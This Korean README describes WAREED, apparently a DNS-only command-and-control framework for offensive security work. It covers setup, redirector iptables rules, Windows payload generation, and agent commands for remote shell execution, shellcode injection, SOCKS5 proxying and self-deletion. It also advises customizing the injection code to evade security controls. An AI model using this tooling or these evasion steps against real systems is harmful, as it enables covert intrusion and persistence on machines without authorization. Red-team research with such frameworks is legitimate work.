
DNS 전용 C2(명령 및 제어) 프레임워크로, Windows 에이전트, 페이로드 생성, 원격 셸 실행, 셸코드 주입, 그리고 은밀한 작전을 위한 SOCKS5 프록시 지원을 포함합니다.

WAREED는 서버와 대상 간의 보안 통신을 위해 DNS 프로토콜을 활용하는 Command and Control(C2)입니다. 통신을 최소화하고 데이터 교환을 제한하도록 설계되었으며, HTTP/HTTPS를 통한 인터넷 접근이 불가능하지만 DNS가 허용되는 머신에 지속성을 유지하기 위한 1차 C2(first-stage C2)로 사용됩니다.
개발자 : @Fsalabduljabbar

많은 Command and Control(C2) 프레임워크가 DNS를 전송 프로토콜로 지원하지만, 대부분은 HTTP/HTTPS를 위해 설계되었습니다. 이러한 프레임워크를 DNS로 전환하면 종종 더 느리고 불안정한 작동이 발생합니다. DNS 트랜잭션에서 이러한 프레임워크의 불안정성으로 인한 수많은 문제에 직면한 저는 DNS에 특화된 솔루션을 만들 수밖에 없었습니다. 그 결과가 바로 DNS 전용 C2 프레임워크인 Wareed입니다. 이러한 특화된 초점 덕분에 더 안정적이고 효율적인 작동이 가능하며, 주로 DNS용으로 설계되지 않은 기존 C2 프레임워크와 비교하여 Wareed는 더 빠르고 신뢰할 수 있습니다. 이로 인해 Wareed는 DNS 트래픽은 허용되지만 HTTP/HTTPS가 제한된 환경에서 이상적인 선택이 됩니다.
세 가지 프로그래밍 언어로 개발되었습니다:
이름 설명:
**Hams (همس)**는 아랍어로 "속삭임(whisper)"을 의미합니다
**Wareed (وريد)**는 아랍어로 "정맥(vein)"을 의미합니다
**Ather (أثر)**는 아랍어로 "흔적(trace)"을 의미합니다
1단계: Wareed 리포지토리를 클론합니다:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
2단계: 설정 스크립트를 실행합니다:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
컴파일 과정이 성공적으로 완료되면 같은 디렉터리에 두 개의 실행 파일이 생성됩니다:
또한 Agent의 컴파일 상태도 확인합니다. 성공하면 Agent가 배포 및 작동 준비가 되었음을 확인하는데, 이는 Wareed C2의 기능에 매우 중요합니다.
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: 길이는 3과 같아야 합니다.
DNS 설정: Wareed를 운영하려면 유효한 도메인 이름이 필수적입니다. 도메인을 확보한 후 리다이렉터를 가리키도록 두 개의 DNS 레코드를 구성해야 합니다:

리다이렉터 설정:
리다이렉터는 포트 53으로 들어오는 DNS 트래픽을 처리하여 팀 서버로 리다이렉트합니다. 이를 위해 리다이렉터 머신(R1)에서 다음 iptables 명령을 실행합니다:
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
이 명령은 DNS 요청의 표준 포트인 53번 포트로 들어오는 UDP 패킷을 수락하도록 방화벽을 구성합니다.
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
[TeamServer IP]를 팀 서버의 실제 IP 주소로 바꾸고, [teamserver listener port]를 팀 서버가 수신 대기 중인 포트 번호로 바꾸세요. 이 명령은 포트 53으로 도착하는 모든 트래픽을 지정된 팀 서버의 IP 주소와 포트로 전달합니다.

Wareed 팀 서버를 처음 시작하려면 구성 파일과 함께 클라이언트 비밀번호 및 클라이언트가 수신 대기할 포트를 지정해야 합니다. 다음 명령을 사용하여 Wareed 팀 서버를 실행합니다:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
Ather GUI 클라이언트를 실행하려면 다음을 입력하면 됩니다:
./Ather
명령을 실행하면 로그인 페이지가 있는 새 창이 나타납니다.

로그인 정보: 나타나는 로그인 페이지에서:
Wareed 기본 창:

Ather GUI 클라이언트로 새 페이로드를 생성하려면 다음 단계를 따르세요:
페이로드 생성으로 이동:
Payload > Generate > Windows로 이동합니다. 이 옵션을 선택하면 페이로드 생성에 맞춰진 새 창이 열립니다.
새 페이로드를 생성하면 새 게스트 세션이 팀 서버에 자동으로 등록됩니다. 이 등록 프로세스는 오직 이 특정 세션만 팀 서버에 연결할 수 있도록 보장합니다. 세션을 인증하고 승인하기 위해 고유 식별자와 'magic value'를 사용합니다. 이 메커니즘은 새로 생성된 페이로드와 팀 서버 간의 안전하고 통제된 통신을 보장합니다.

Windows 머신에서 페이로드를 실행하면 팀 서버에 등록하기 위해 DNS 쿼리를 생성하기 시작합니다. 이 등록 프로세스는 수 초 내에 이루어지며 일반적으로 3~5개의 DNS 쿼리를 생성합니다.

세션과 상호 작용하려면 원하는 세션을 마우스 오른쪽 버튼으로 클릭하고 컨텍스트 메뉴에서 "Interact"를 선택하면 됩니다. 이 작업은 터미널 인터페이스를 갖춘 새 탭을 열며, 이 터미널에서 명령을 실행할 수 있습니다.

참고:
inject명령은 단순하지만 보안 제어에 의해 탐지되는 경우가 많습니다. 은닉성을 높이려면 자체 주입 기술을 구현해야 합니다.Agent/Source/Core/Tasks/Modules/Injection.c의 주입 코드를 수정하세요. 다음은 주입 함수를 사용자 지정하기 위한 기본 템플릿입니다:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Add your injection technique here.
// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
// and the process ID in [int ProcessID].
}
데이터베이스를 정리하려면 터미널에서 다음 명령을 실행하기만 하면 됩니다:
./Run clean
Wareed 프로젝트에 시간을 계속 투자할 즉각적인 계획은 없지만, 이 프로젝트는 놀라운 학습의 여정이었고 정말 즐겼습니다. 새로운 대형 프로젝트인 THAWD BAS를 시작할 계획임을 기쁘게 알려드립니다. 자세한 내용은 Thawd.io를 방문해 주세요.
개발 능력이 있고 Wareed에 기여하는 데 관심이 있다면 몇 가지 기회가 있습니다:
이 작업은 여러 훌륭한 오픈소스 프로젝트의 기여 없이는 완수할 수 없었습니다:
DNSStager 제작 - @mohammadaskar2
Boomerang 제작 - @NinjaParanoid
Socks5Server 제작 - earthquake
| Command | 설명 | 사용법 | 예제 |
|---|
| help | 지정된 명령의 도움말 메시지를 표시합니다 | [명령어] | help shell |
| sleep | 지터(jitter)와 함께 지연 시간을 설정합니다 | [지연 시간] [지터] | sleep 10 50 |
| shell | cmd.exe 명령을 실행하고 출력을 가져옵니다 | [명령어] | shell dir c:\windows\system32 (하지 마세요) |
| inject | 원격 프로세스에 셸코드를 주입합니다 | [pid] [셸코드 경로] | inject 1234 /path/to/shellcode.bin |
| proxystart | SOCKS5 프록시를 시작합니다 | [콜백 호스트] [에이전트 연결 포트] [프록시 리스너 포트] | proxystart example.com 443 1080 |
| proxystop | SOCKS5 프록시를 중지합니다 | [콜백 호스트] [에이전트 연결 포트] [프록시 리스너 포트] | proxystop example.com 443 1080 |
| adddomain | 새 콜백 도메인을 추가합니다 | [도메인 이름] | adddomain example.com |
| deldomain | 콜백 도메인을 삭제합니다 | [도메인 이름] | deldomain example.com |
| listdomain | 모든 활성 콜백 도메인을 나열합니다 | listdomain | |
| kill | 현재 프로세스를 종료합니다. | [yes] | kill yes |
| wipe | 현재 프로세스를 종료하고 삭제합니다. | [yes] | wipe yes |
| selfdel | 현재 프로세스를 디스크에서 삭제합니다. | [yes] | selfdel yes |
| tasklist | 대기 중인 모든 작업을 나열합니다 | tasklist | |
| taskdel | ID로 특정 작업을 삭제합니다 | [작업 ID] | taskdel 123 |
| tasksclean | 대기열의 모든 작업을 삭제합니다 | [yes] | tasksclean yes |
| clear | 터미널 화면을 지웁니다 | clear |